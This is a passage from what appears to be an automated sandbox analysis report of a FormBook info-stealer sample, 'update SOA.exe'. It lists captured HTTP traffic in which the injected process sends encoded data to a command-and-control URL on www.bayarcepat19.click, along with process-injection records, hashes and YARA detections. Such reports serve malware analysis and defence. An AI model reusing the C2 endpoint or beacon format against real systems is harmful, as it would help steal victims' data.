3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49747	188.114.96.3	80	1220	C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 18:46:44.614772081 CEST	1858	OUT	POST /5hcm/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.bayarcepat19.click Origin: http://www.bayarcepat19.click Referer: http://www.bayarcepat19.click/5hcm/ Content-Length: 1244 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5; MSNbMSNI; MSNmen-us; MSNcOTH) Data Raw: 67 48 43 58 6d 44 55 3d 67 4e 66 45 44 55 76 67 50 72 79 7a 56 30 61 4d 65 6c 78 51 45 4b 4c 50 52 4d 74 4a 76 33 6e 44 46 33 61 30 4d 6e 73 59 76 4e 4c 72 4b 6c 64 57 46 7a 62 43 33 70 71 6e 51 44 46 63 46 47 6a 44 52 44 6f 38 51 44 6e 4e 5a 61 31 58 55 6f 77 44 70 36 74 42 75 55 4e 6b 73 70 36 6c 53 69 65 5a 59 75 75 45 31 68 43 44 30 38 63 73 69 2f 48 58 52 46 51 79 4d 4c 35 46 64 2b 73 73 2f 2b 4e 4b 67 46 73 76 75 4a 7a 2b 54 77 51 4f 76 67 48 61 44 34 6d 42 2b 75 65 72 46 65 64 32 48 56 32 61 5a 44 6a 2b 2b 63 2f 78 62 34 4a 69 63 78 48 6b 44 2f 71 68 75 73 39 54 39 47 61 39 43 51 62 36 52 71 59 57 6f 57 6e 7a 52 51 79 57 77 44 65 48 6b 43 70 65 46 63 56 30 47 55 79 41 55 61 70 6a 77 33 44 54 53 2f 31 44 52 5a 49 65 42 62 35 55 45 77 6c 4d 4b 2f 53 32 53 31 36 62 6f 57 4f 5a 32 4e 55 48 41 54 7a 73 4c 52 76 31 33 5a 54 71 63 62 70 71 54 72 77 6b 43 46 6b 63 5a 5a 6b 6b 75 6a 53 32 2f 73 68 38 76 36 31 32 53 31 50 59 47 56 4d 4b 5a 58 44 41 6a 67 56 35 55 6e 4b 6e 61 79 4e 56 7a 62 4a 64 76 36 [TRUNCATED] Data Ascii: gHCXmDU=gNfEDUvgPryzV0aMelxQEKLPRMtJv3nDF3a0MnsYvNLrKldWFzbC3pqnQDFcFGjDRDo8QDnNZa1XUowDp6tBuUNksp6lSieZYuuE1hCD08csi/HXRFQyML5Fd+ss/+NKgFsvuJz+TwQOvgHaD4mB+uerFed2HV2aZDj++c/xb4JicxHkD/qhus9T9Ga9CQb6RqYWoWnzRQyWwDeHkCpeFcV0GUyAUapjw3DTS/1DRZIeBb5UEwlMK/S2S16boWOZ2NUHATzsLRv13ZTqcbpqTrwkCFkcZZkkujS2/sh8v612S1PYGVMKZXDAjgV5UnKnayNVzbJdv6dW/wjdk0fZ9IAdYjjo3iEDcDpy8wOl7MMJ5LlkOvIdTd0Uxfr9iizpzybM7YDXLa4k9a4caGZ35FAyY6IG4oNwXAMAvf5qtjrhImex7x8aY+bIubF+m3FfN5JboXMUgCLF4BaQnL5xeS9mUYebJ0CaSfL5SVPDNMXO0hVL6e7oPEMM8NTiTGeWukwavg85LvQJEwdEzo3sWzvuJFDk7dKln0o81nl7CdTr8O4MWw4nw6DrcKilhh2hSk1R1zFKS1lY23GSumXofKuHnfTve9qL3dUw1wlLBSLIX5mPkIBLveokFyvyfwcZ44rvT6f6i8qrSZQavTcxAvTXh/NyPKIMR9ez1jELVxvrVzwjNCDdsiFmN7mHfOa0VNHgE42EpI8T81QG/CUdqK33hKkXXhHIyzpKbj/skAtX3U1iieFa5a0aXsR2BT41sZEULstLKfWvnIMJr9Yl5gq/lALH1+d04Rxzk/CQnZWTcLtMWUige4vLlXncTfkAGNJ+kZACc2QcG7Wm7C9F8RclgF1YyLakKZzJIYFORp9Q5nY1bKObRZ4yxqXU2SMrK5x+WPoRD8nivRiuJ1yTT+IqIgyCzd+v9yPL6a3w0LP17QFZAH0b+ccANh0rDg7cDA9+AbIS05wJWCf1NmMhwoXKxT6l4gmWdk5Anq5jV2oC [TRUNCATED]
Sep 30, 2024 18:46:45.068811893 CEST	836	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 30 Sep 2024 16:46:45 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Mon, 30 Sep 2024 17:46:45 GMT Location: https://www.bayarcepat19.click/5hcm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=99%2B0wr8Pxq2PaYcgURBvqBEwH7UiumnZvILB%2BS%2BH8eOpstQKpNzsIaPAV4Xb%2FgaymfNMdDsG610%2Fg2hx1y3J0L%2FhsrChrDDni%2Fs6JStms9LJiX02qgYbFic48ZzcjSl7wfTgQX3%2F%2BMrp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 8cb5b0db5a20437b-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49748	188.114.96.3	80	1220	C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 18:46:47.186758995 CEST	549	OUT	GET /5hcm/?gHCXmDU=tP3kAkfnE7i1YCC3akJDPtDOQtMjgFa5K3aSOloco8KmCG1xGxL66P/sVWpGfWTMdHJkfi3yOYhNMZMhorUklSdDj9q9dz65TNSy5hy/ttZPgJetaDNmb5haRLwL+/pH9A==&Gh9=g8u8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.bayarcepat19.click Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5; MSNbMSNI; MSNmen-us; MSNcOTH)
Sep 30, 2024 18:46:47.677134037 CEST	990	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 30 Sep 2024 16:46:47 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Mon, 30 Sep 2024 17:46:47 GMT Location: https://www.bayarcepat19.click/5hcm/?gHCXmDU=tP3kAkfnE7i1YCC3akJDPtDOQtMjgFa5K3aSOloco8KmCG1xGxL66P/sVWpGfWTMdHJkfi3yOYhNMZMhorUklSdDj9q9dz65TNSy5hy/ttZPgJetaDNmb5haRLwL+/pH9A==&Gh9=g8u8 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sYoNeshvfmLpNrgMiy7WTtvz8cDsz8BPsyJovy68djl6Al6Wle7EaqNHDaB1uZzgIoErvC9jcWeDhV5crnjrCPPGKqOMLKqKaCDPStxdEJBJi6x4tQ2EoR3tqQmIfztC46zFM%2B0ta2j5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cb5b0eb8bb34340-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Target ID:	0
Start time:	12:43:44
Start date:	30/09/2024
Path:	C:\Users\user\Desktop\update SOA.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\update SOA.exe"
Imagebase:	0x400000
File size:	1'401'959 bytes
MD5 hash:	309A3F5CA72FF071A0EDD351EB3C6691
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	2
Start time:	12:43:48
Start date:	30/09/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\update SOA.exe"
Imagebase:	0xa70000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2343330383.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.2343330383.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2343906085.0000000006650000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.2343906085.0000000006650000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2343594491.0000000003790000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.2343594491.0000000003790000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	12:44:08
Start date:	30/09/2024
Path:	C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe"
Imagebase:	0x4c0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.3883839683.0000000005350000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.3883839683.0000000005350000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	5
Start time:	12:44:10
Start date:	30/09/2024
Path:	C:\Windows\SysWOW64\notepad.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\notepad.exe"
Imagebase:	0x630000
File size:	165'888 bytes
MD5 hash:	E92D3A824A0578A50D2DD81B5060145F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.3882344624.0000000002B80000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.3882344624.0000000002B80000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.3883738653.0000000004A30000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.3883738653.0000000004A30000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.3883798608.0000000004A80000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.3883798608.0000000004A80000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Target ID:	6
Start time:	12:44:23
Start date:	30/09/2024
Path:	C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe"
Imagebase:	0x4c0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.3886044229.00000000054F0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.3886044229.00000000054F0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	9
Start time:	12:44:35
Start date:	30/09/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true